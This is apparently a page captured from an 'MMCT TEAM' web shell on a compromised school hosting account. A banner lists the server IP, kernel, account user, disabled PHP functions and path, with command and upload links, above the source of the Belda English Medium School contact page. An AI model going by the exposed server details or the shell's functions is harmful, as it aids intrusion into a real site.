MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/celkcksm/beldaenglishmediumschool.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/beldaenglishmediumschool.com/contact.html
<!DOCTYPE html>
<html lang="en">

<head>
    <!-- meta tags -->
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="keywords" content="">

    <!-- title -->
    <title>Belda English Medium School</title>

    <!-- favicon -->
    <link rel="icon" type="image/x-icon" href="assets/img/logo/favicon.png">

    <!-- css -->
    <link rel="stylesheet" href="assets/css/bootstrap.min.css">
    <link rel="stylesheet" href="assets/css/all-fontawesome.min.css">
    <link rel="stylesheet" href="assets/css/animate.min.css">
    <link rel="stylesheet" href="assets/css/magnific-popup.min.css">
    <link rel="stylesheet" href="assets/css/owl.carousel.min.css">
    <link rel="stylesheet" href="assets/css/nice-select.min.css">
    <link rel="stylesheet" href="assets/css/style.css">

    <style>
        .form-container {
            margin: 50px 0;
            background: #ffffff;
            padding: 30px;
            border-radius: 12px;
            box-shadow: 0 8px 20px rgba(0, 0, 0, 0.15);
            width: 100%;
            max-width: 800px;
          }
      
          .form-header {
            text-align: center;
            margin-bottom: 30px;
          }
      
          .form-header h2 {
            font-size: 28px;
            color: #333;
            margin: 0;
          }
      
          .form-header p {
            font-size: 14px;
            color: #666;
            margin: 5px 0 0;
          }
      
          .form-group {
            margin-bottom: 20px;
          }
      
          .form-group label {
            display: block;
            font-size: 14px;
            color: #444;
            margin-bottom: 8px;
          }
      
          .form-group input,
          .form-group select,
          .form-group textarea {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 6px;
            font-size: 14px;
            background: #f9f9f9;
            transition: border-color 0.3s;
          }
      
          .form-group input:focus,
          .form-group select:focus,
          .form-group textarea:focus {
            border-color: #4facfe;
            outline: none;
            background: #fff;
          }
      
          .form-group textarea {
            resize: none;
          }
      
          .form-actions {
            text-align: center;
          }
      
          .form-actions button {
            padding: 12px 20px;
            font-size: 16px;
            color: #fff;
            background: #F65801;
            border: none;
            border-radius: 6px;
            cursor: pointer;
            transition: background 0.3s;
          }
      
      
          @media (max-width: 576px) {
            .form-container {
              padding: 20px;
            }
      
            .form-header h2 {
              font-size: 24px;
            }
          }
          @media (min-width: 320px) and (max-width: 450px){
            .form-container{
                margin: 0px;
            }
          }
    </style>

</head>

<body>

    <!-- preloader -->
    <!-- <div class="preloader">
        <div class="loader-ripple">
            <div></div>
            <div></div>
        </div>
    </div> -->
    <!-- preloader end -->


    <!-- header area -->
    <header class="header">

        <!-- header top -->
        <div class="header-top">
            <div class="container pe-lg-0">
                <div class="header-top-wrap">
                    <div class="header-top-left">
                        <div class="header-top-social">
                            <span>Follow Us: </span>
                            <a href="#"><i class="fab fa-facebook"></i></a>
                            <a href="#"><i class="fab fa-x-twitter"></i></a>
                            <a href="#"><i class="fab fa-instagram"></i></a>
                            <a href="#"><i class="fab fa-linkedin"></i></a>
                        </div>
                    </div>
                    <div class="header-top-right">
                        <div class="header-top-list">
                            <ul>
                                <li><a href="#"><i class="far fa-envelopes"></i>
                                        <span class="__cf_email__" data-cfemail="01686f676e416479606c716d642f626e6c">belda.ems@gmail.com</span></a></li>
                                <li><a href="tel:+91 9546945300"><i class="far fa-phone-volume"></i> +91 9546945300 / 03229-255884</a>
                                </li>
                                <li><a href="#"><i class="far fa-alarm-clock"></i> Mon - Sat (6.45AM - 1.10PM)</a></li>
                            </ul>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- header top end -->

        <!-- navbar -->
        <div class="main-navigation">
            <nav class="navbar navbar-expand-lg">
                <div class="container position-relative">
                    <a class="navbar-brand" href="index">
                        <img src="assets/img/logo/logo.png" alt="logo">
                    </a>
                    <div class="mobile-menu-right">
                        <div class="mobile-menu-btn">
                            <button type="button" class="nav-right-link search-box-outer"><i
                                    class="far fa-search"></i></button>
                        </div>
                        <button class="navbar-toggler" type="button" data-bs-toggle="offcanvas"
                            data-bs-target="#offcanvasNavbar" aria-controls="offcanvasNavbar"
                            aria-label="Toggle navigation">
                            <span></span>
                            <span></span>
                            <span></span>
                        </button>
                    </div>
                    <div class="offcanvas offcanvas-start" tabindex="-1" id="offcanvasNavbar"
                        aria-labelledby="offcanvasNavbarLabel">
                        <div class="offcanvas-header">
                            <a href="index-2" class="offcanvas-brand" id="offcanvasNavbarLabel">
                                <img src="assets/img/logo/logo.png" alt="">
                            </a>
                            <button type="button" class="btn-close" data-bs-dismiss="offcanvas" aria-label="Close"><i
                                    class="far fa-xmark"></i></button>
                        </div>
                        <div class="offcanvas-body gap-xl-4">
                            <ul class="navbar-nav justify-content-end flex-grow-1">
                                <li class="nav-item"><a class="nav-link" href="index">Home</a></li>
                                <!-- <li class="nav-item"><a class="nav-link" href="about">About</a></li> -->
                                <li class="nav-item dropdown">
                                    <a class="nav-link dropdown-toggle" href="#" data-bs-toggle="dropdown">About</a>
                                    <ul class="dropdown-menu fade-down">
                                        <li><a class="dropdown-item" href="about">History</a></li>
                                        <li><a class="dropdown-item" href="infrastructure">Infrastructure</a></li>
                                        <li><a class="dropdown-item" href="gallery">Gallery</a></li>
                                    </ul>
                                </li>
                                <li class="nav-item dropdown">
                                    <a class="nav-link dropdown-toggle" href="#" data-bs-toggle="dropdown">Admission</a>
                                    <ul class="dropdown-menu fade-down">
                                        <li><a class="dropdown-item" href="admission-fees-structure">Admission Fees Structure</a></li>
                                        <li><a class="dropdown-item" href="admission-form">Admission Form</a>
                                        </li>
                                    </ul>
                                </li>
                                <li class="nav-item dropdown">
                                    <a class="nav-link dropdown-toggle" href="#" data-bs-toggle="dropdown">Academics</a>
                                    <ul class="dropdown-menu fade-down">
                                        <li><a class="dropdown-item" href="curriculam">Curriculam</a></li>
                                        <li><a class="dropdown-item" href="notice-board">Notice Board</a></li>
                                        <li><a class="dropdown-item" href="examination">Examination</a></li>
                                        <!-- <li class="dropdown-submenu">
                                            <a class="dropdown-item dropdown-toggle" href="#">Authentication</a>
                                            <ul class="dropdown-menu">
                                                <li><a class="dropdown-item" href="login">Login</a></li>
                                                <li><a class="dropdown-item" href="register">Register</a></li>
                                                <li><a class="dropdown-item" href="forgot-password">Forgot
                                                        Password</a>
                                                </li>
                                            </ul>
                                        </li>
                                        <li class="dropdown-submenu">
                                            <a class="dropdown-item dropdown-toggle" href="#">Extra Pages</a>
                                            <ul class="dropdown-menu">
                                                <li><a class="dropdown-item" href="coming-soon">Coming Soon</a>
                                                </li>
                                                <li><a class="dropdown-item" href="terms">Terms Of Service</a></li>
                                                <li><a class="dropdown-item" href="privacy">Privacy Policy</a></li>
                                            </ul>
                                        </li> -->
                                        <li><a class="dropdown-item" href="result">Result</a></li>
                                        <li><a class="dropdown-item" href="syllabus">Syllabus</a></li>
                                    </ul>
                                </li>
                                <li class="nav-item dropdown">
                                    <a class="nav-link dropdown-toggle" href="#" data-bs-toggle="dropdown">Administration</a>
                                    <ul class="dropdown-menu fade-down">
                                        <li><a class="dropdown-item" href="messege-desk">Message Desk</a></li>
                                        <li><a class="dropdown-item" href="faculty">Faculty</a>
                                        </li>
                                        <li><a class="dropdown-item" href="affiliations">Affiliations</a></li>
                                    </ul>
                                </li>
                                <li class="nav-item dropdown">
                                    <a class="nav-link dropdown-toggle" href="#" data-bs-toggle="dropdown">Facilities</a>
                                    <ul class="dropdown-menu fade-down">
                                        <li><a class="dropdown-item" href="computer-lab">Computer Lab</a></li>
                                        <li><a class="dropdown-item" href="halls">Halls</a></li>
                                        <li><a class="dropdown-item" href="canteen-and-tiffin">Canteen And Tiffin</a></li>
                                        <li><a class="dropdown-item" href="library">Library</a></li>
                                        <li><a class="dropdown-item" href="health-care">Heath Care</a></li>
                                        <li><a class="dropdown-item" href="game">Game</a></li>
                                        <li><a class="dropdown-item" href="transport">Transport</a></li>
                                        <li><a class="dropdown-item" href="hostel">Proposed Hostel</a></li>
                                        <li><a class="dropdown-item" href="others">Others</a></li>
                                    </ul>
                                </li>
                            </ul>
                            <!-- nav-right -->
                            <div class="nav-right">
                                <div class="nav-btn">
                                    <a href="contact" class="theme-btn">Contact Us<i
                                            class="fas fa-arrow-right"></i></a>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </nav>
        </div>
        <!-- navbar end-->

    </header>
    <!-- header area end -->


    <!-- popup search -->
    <div class="search-popup">
        <button class="close-search"><span class="far fa-times"></span></button>
        <form action="#">
            <div class="form-group">
                <input type="search" name="search-field" class="form-control" placeholder="Search Here..." required>
                <button type="submit"><i class="far fa-search"></i></button>
            </div>
        </form>
    </div>
    <!-- popup search end -->


    <!-- sidebar-popup -->
    <div class="sidebar-popup offcanvas offcanvas-end" tabindex="-1" id="sidebarPopup">
        <div class="offcanvas-header">
            <a href="index-2" class="sidebar-popup-logo">
                <img src="assets/img/logo/logo.png" alt="">
            </a>
            <button type="button" class="btn-close" data-bs-dismiss="offcanvas" aria-label="Close">
                <i class="far fa-xmark"></i>
            </button>
        </div>
        <div class="sidebar-popup-wrap offcanvas-body">
            <div class="sidebar-popup-content">
                <div class="sidebar-popup-about">
                    <h4>About Us</h4>
                    <p>There are many variations of passages available sure there majority have suffered alteration in
                        some form by inject humour or randomised words which don't look even slightly believable.</p>
                </div>
                <div class="sidebar-popup-contact">
                    <h4>Contact Info</h4>
                    <ul>
                        <li>
                            <div class="icon">
                                <i class="far fa-envelope"></i>
                            </div>
                            <div class="content">
                                <h6>Email</h6>
                                <a href="https://live.themewild.com/cdn-cgi/l/email-protection#dab3b4bcb59abfa2bbb7aab6bff4b9b5b7"><span class="__cf_email__" data-cfemail="1a73747c755a7f627b776a767f34797577">[email&#160;protected]</span></a>
                            </div>
                        </li>
                        <li>
                            <div class="icon">
                                <i class="far fa-phone"></i>
                            </div>
                            <div class="content">
                                <h6>Phone</h6>
                                <a href="tel:+21236547898">+2 123 654 7898</a>
                            </div>
                        </li>
                        <li>
                            <div class="icon">
                                <i class="far fa-location-dot"></i>
                            </div>
                            <div class="content">
                                <h6>Address</h6>
                                <a href="#">25/B Milford Road, New York</a>
                            </div>
                        </li>
                    </ul>
                </div>
                <div class="sidebar-popup-social">
                    <h4>Follow Us</h4>
                    <a href="#"><i class="fab fa-facebook"></i></a>
                    <a href="#"><i class="fab fa-x-twitter"></i></a>
                    <a href="#"><i class="fab fa-instagram"></i></a>
                    <a href="#"><i class="fab fa-linkedin"></i></a>
                </div>
            </div>
        </div>
    </div>
    <!-- sidebar-popup end -->


    <main class="main">

        <!-- breadcrumb -->
        <div class="site-breadcrumb" style="background: url(assets/img/breadcrumb/01.jpg)">
            <div class="container">
                <h2 class="breadcrumb-title">Contact Us</h2>
                <ul class="breadcrumb-menu">
                    <li><a href="index-2">Home</a></li>
                    <li class="active">Contact Us</li>
                </ul>
            </div>
        </div>
        <!-- breadcrumb end -->

        
        <!-- contact area -->
        <div class="contact-area py-120 margin-top-negative65-responsive margin-bottom-negative65-responsive">
            <div class="container">
                <div class="contact-content">
                    <div class="row">
                        <div class="col-md-3">
                            <div class="contact-info">
                                <div class="icon">
                                    <i class="fal fa-map-location-dot"></i>
                                </div>
                                <div class="content">
                                    <h5>School Address</h5>
                                    <p>P.O.+P.S. -Belda
                                        Dist.- Paschim Medinipur
                                        WB, 721424</p>
                                </div>
                            </div>
                        </div>
                        <div class="col-md-3 col-6 show-element">
                            <div class="contact-info">
                                <div class="icon">
                                    <i class="fal fa-alarm-clock"></i>
                                </div>
                                <div class="content">
                                    <h5>Open Time</h5>
                                    <p>Mon - Sat (10.00AM - 05.30PM)</p>
                                </div>
                            </div>
                        </div>
                        <div class="col-md-3 col-6">
                            <div class="contact-info">
                                <div class="icon">
                                    <i class="fal fa-phone-volume"></i>
                                </div>
                                <div class="content">
                                    <h5>Call Us</h5>
                                    <p>91 9546945300 / 03229-255884</p>
                                </div>
                            </div>
                        </div>
                        <div class="col-md-3 col-6">
                            <div class="contact-info">
                                <div class="icon">
                                    <i class="fal fa-envelopes"></i>
                                </div>
                                <div class="content">
                                    <h5>Email Us</h5>
                                    <p><a href="#" class="__cf_email__" data-cfemail="2b42454d446b4e534a465b474e05484446">belda.ems@gmail.com</a></p>
                                </div>
                            </div>
                        </div>
                        
                    </div>
                </div>
                <div class="contact-form-wrap">
                    <div class="row g-4">
                        <div class="col-lg-5 show-element">
                            <div class="contact-img">
                                <img src="assets/img/contact/2.jpg" alt="">
                            </div>
                        </div>
                        <div class="col-lg-7 col-12">
                            <div class="contact-form">
                                <div class="contact-form-header">
                                    <h2>Get In Touch</h2>
                                    <p>It is a long established fact that a reader will be distracted by the readable
                                        content of a page randomised words which don't look even slightly when looking at its layout. </p>
                                </div>
                                <div class="form-message"></div>
                                <form id="contactForm" action="send_email_contact_form.php" method="POST" >
                                    <!-- Name -->
                                    <div class="form-group">
                                        <label for="name">Student Name</label>
                                        <input type="text" id="name" name="name" placeholder="Enter full name" required>
                                    </div>
                                    <div class="row">
                                        <div class="col-6">
                                            <!-- Gender -->
                                            <div class="form-group">
                                                <label for="gender">Gender</label>
                                                <select id="gender" name="gender" required>
                                                <option value="">Select gender</option>
                                                <option value="male">Male</option>
                                                <option value="female">Female</option>
                                                <option value="other">Other</option>
                                                </select>
                                            </div>
                                        </div>
                                        <div class="col-6">
                                            <!-- Class Applying For -->
                                            <div class="form-group">
                                                <label for="class">Class Applying For</label>
                                                <select id="class" name="class" required>
                                                <option value="">Select class</option>
                                                <option value="nursery">Nursery</option>
                                                <option value="kg">Kindergarten</option>
                                                <option value="1">Class 1</option>
                                                <option value="2">Class 2</option>
                                                <option value="3">Class 3</option>
                                                </select>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="row">
                                        <div class="col-6">
                                            <!-- Contact Number -->
                                            <div class="form-group">
                                                <label for="phone">Contact Number</label>
                                                <input type="tel" id="phone" name="phone" placeholder="Enter contact number" required>
                                            </div>
                                        </div>
                                        <div class="col-6">
                                            <!-- Email -->
                                            <div class="form-group">
                                                <label for="email">Email Address</label>
                                                <input type="email" id="email" name="email" placeholder="Enter email address" required>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="row">
                                        <div class="col-6">
                                            <!-- Date of Birth -->
                                            <div class="form-group">
                                                <label for="dob">Date of Birth</label>
                                                <input type="date" id="dob" name="dob" required>
                                            </div>
                                        </div>
                                        <div class="col-6">
                                            <!-- Previous School -->
                                            <div class="form-group">
                                                <label for="prevSchool">Previous School (if applicable)</label>
                                                <input type="text" id="prevSchool" name="prevSchool" placeholder="Enter previous school name">
                                            </div>
                                        </div>
                                    </div>
                                    <button id="submit-button-contact" type="submit" class="theme-btn">Send
                                        Message &nbsp; <i class="far fa-paper-plane"></i></button>
                                    <div id="response-message-contact"></div>
                                    <div class="flash-message">
                                        <span class="message"></span>
                                    </div>
                                </form>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- end contact area -->


        <!-- map -->
        <div class="contact-map">
            <iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d4396.84897110964!2d87.33263653564582!3d22.07656581712689!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3a1d3ba9800d7777%3A0xbb2a9ba278902640!2sBelda%20English%20Medium%20School!5e0!3m2!1sen!2sin!4v1736941106810!5m2!1sen!2sin"
                style="border:0;" allowfullscreen="" loading="lazy"></iframe>
        </div>
        <!-- map end -->

    </main>


    <!-- footer area -->
    <footer class="footer-area">
        <div class="footer-shape" style="background-image: url(assets/img/shape/04.png);"></div>
        <div class="footer-widget">
            <div class="container">
                <div class="footer-widget-wrap pt-100 pb-80">
                    <div class="row g-4">
                        <div class="col-lg-5">
                            <div class="footer-widget-box about-us">
                                <a href="#" class="footer-logo">
                                    <img src="assets/img/logo/logo.png" alt="">
                                </a>
                                <p class="mb-4">
                                    The School was established with the mission of spreading the light of education which is considered as the strongest instrument for equalization and empowerment of the people.It is our aim to produce a good human with pleasant personality, the embodiment of selfless service, devotion and fit citizen, capable to take-up the challenges of the days.
                                </p>
                                <!-- <div class="footer-newsletter">
                                    <h6>Subscribe Our Newsletter</h6>
                                    <div class="newsletter-form">
                                        <form action="#">
                                            <div class="form-group">
                                                <div class="form-icon">
                                                    <i class="far fa-envelopes"></i>
                                                    <input type="email" class="form-control" placeholder="Your Email">
                                                    <button class="theme-btn" type="submit">
                                                        Subscribe <span class="far fa-paper-plane"></span>
                                                    </button>
                                                </div>
                                            </div>
                                        </form>
                                    </div>
                                </div> -->
                            </div>
                        </div>
                        <div class="col-6 col-lg-2">
                            <div class="footer-widget-box list">
                                <h4 class="footer-widget-title">Quick Links</h4>
                                <ul class="footer-list">
                                    <li><a href="index"><i class="far fa-angle-double-right"></i>Home</a></li>
                                    <li><a href="about"><i class="far fa-angle-double-right"></i>About Us</a></li>
                                    <li><a href="admission-form"><i class="far fa-angle-double-right"></i>Admission Form</a></li>
                                    <li><a href="messege-desk"><i class="far fa-angle-double-right"></i>Message Desk</a></li>
                                    <li><a href="gallery"><i class="far fa-angle-double-right"></i>Gallery</a>
                                    </li>
                                    <li><a href="contact"><i class="far fa-angle-double-right"></i>Contact</a></li>
                                </ul>
                            </div>
                        </div>
                        <div class="col-6 col-lg-2">
                            <!-- <div class="footer-widget-box list">
                                <h4 class="footer-widget-title">Important</h4>
                                <ul class="footer-list">
                                    <li><a href="service"><i class="far fa-angle-double-right"></i>Privacy Policy</a></li>
                                    <li><a href="service"><i class="far fa-angle-double-right"></i>Terms and Conditions</a></li>
                                    <li><a href="service"><i class="far fa-angle-double-right"></i>News and Notices</a></li>
                                    <li><a href="service"><i class="far fa-angle-double-right"></i>Refund Policy</a></li>
                                    <li><a href="service"><i class="far fa-angle-double-right"></i>Contact Us</a></li>
                                </ul>
                            </div> -->
                        </div>
                        <div class="col-lg-3">
                            <div class="footer-widget-box">
                                <h4 class="footer-widget-title">Get In Touch</h4>
                                <ul class="footer-contact">
                                    <li>
                                        <div class="icon">
                                            <i class="far fa-location-dot"></i>
                                        </div>
                                        <div class="content">
                                            <h6>Our Address</h6>
                                            <p>P.O. + P.S. - Belda
                                                Dist. - Paschim Medinipur
                                                West Bengal, 721424</p>
                                        </div>
                                    </li>
                                    <li>
                                        <div class="icon">
                                            <i class="far fa-phone"></i>
                                        </div>
                                        <div class="content">
                                            <h6>Call Us</h6>
                                            <a href="tel:+91 9546945300">+91 9546945300 <br>03229-255884</a>
                                        </div>
                                    </li>
                                    <li>
                                        <div class="icon">
                                            <i class="far fa-envelope"></i>
                                        </div>
                                        <div class="content">
                                            <h6>Mail Us</h6>
                                            <a href="#"><span class="__cf_email__" data-cfemail="fd94939b92bd98859c908d9198d39e9290">belda.ems@gmail.com</span></a>
                                        </div>
                                    </li>
                                </ul>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <div class="container">
            <div class="copyright">
                <div class="row">
                    <div class="col-md-6 align-self-center">
                        <p class="copyright-text">
                            <!-- <span id="date"></span> -->
                            Developed By <a href="https://www.ncriptech.com/"> ncriptech.com </a> All Rights Reserved.
                        </p>
                    </div>
                    <div class="col-md-6 align-self-center">
                        <ul class="footer-social">
                            <li><a href="#"><i class="fab fa-facebook-f"></i></a></li>
                            <li><a href="#"><i class="fab fa-x-twitter"></i></a></li>
                            <li><a href="#"><i class="fab fa-linkedin-in"></i></a></li>
                            <li><a href="#"><i class="fab fa-youtube"></i></a></li>
                        </ul>
                    </div>
                </div>
            </div>
        </div>
    </footer>
    <!-- footer area end -->


    <!-- scroll-top -->
    <a href="#" id="scroll-top"><i class="far fa-arrow-up"></i></a>
    <!-- scroll-top end -->


    <!-- js -->
    <script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="assets/js/jquery-3.7.1.min.js"></script>
    <script src="assets/js/modernizr.min.js"></script>
    <script src="assets/js/bootstrap.bundle.min.js"></script>
    <script src="assets/js/imagesloaded.pkgd.min.js"></script>
    <script src="assets/js/jquery.magnific-popup.min.js"></script>
    <script src="assets/js/isotope.pkgd.min.js"></script>
    <script src="assets/js/jquery.appear.min.js"></script>
    <script src="assets/js/jquery.easing.min.js"></script>
    <script src="assets/js/owl.carousel.min.js"></script>
    <script src="assets/js/counter-up.js"></script>
    <script src="assets/js/jquery.nice-select.min.js"></script>
    <script src="assets/js/wow.min.js"></script>
    <script src="assets/js/contact-form.js"></script>
    <script src="assets/js/main.js"></script>

    <script>
        // AJAX form submission
        $(document).ready(function () {
            $('#contactForm').on('submit', function (e) {
                e.preventDefault(); 
                const formData = $(this).serialize(); 
                const submitButton = $('#submit-button-contact'); 
                submitButton.prop('disabled', true).text('Sending...');
                // Send form data via AJAX
                $.ajax({
                    type: 'POST',
                    url: 'send_email_contact_form.php', 
                    data: formData,
                    success: function (response) {
                        
                        if(response=='ok'){
                            $('#response-message-contact').text(response); 
                            $('#contactForm')[0].reset(); 
                            // submitButton.prop('disabled', false).text('Send');
                            $('#response-message-contact')('<div style="color:green;">We received you request. Our team will connect with you soon.</div>')
                        }
                        else{
                            $('#response-message-contact')('<div style="color:red;">Form failed to submit else</div>')
                        }
                        submitButton.prop('disabled', false).text('Let\'s Connect');
                        
                    },
                    error: function () {
                        submitButton.prop('disabled', false).text('Let\'s Connect');
                        $('#response-message-contact')('<div style="color:red;">Form failed to submit</div>')
                    }
                });
            });
        });
    </script>

</body>

</html>

MMCT - 2023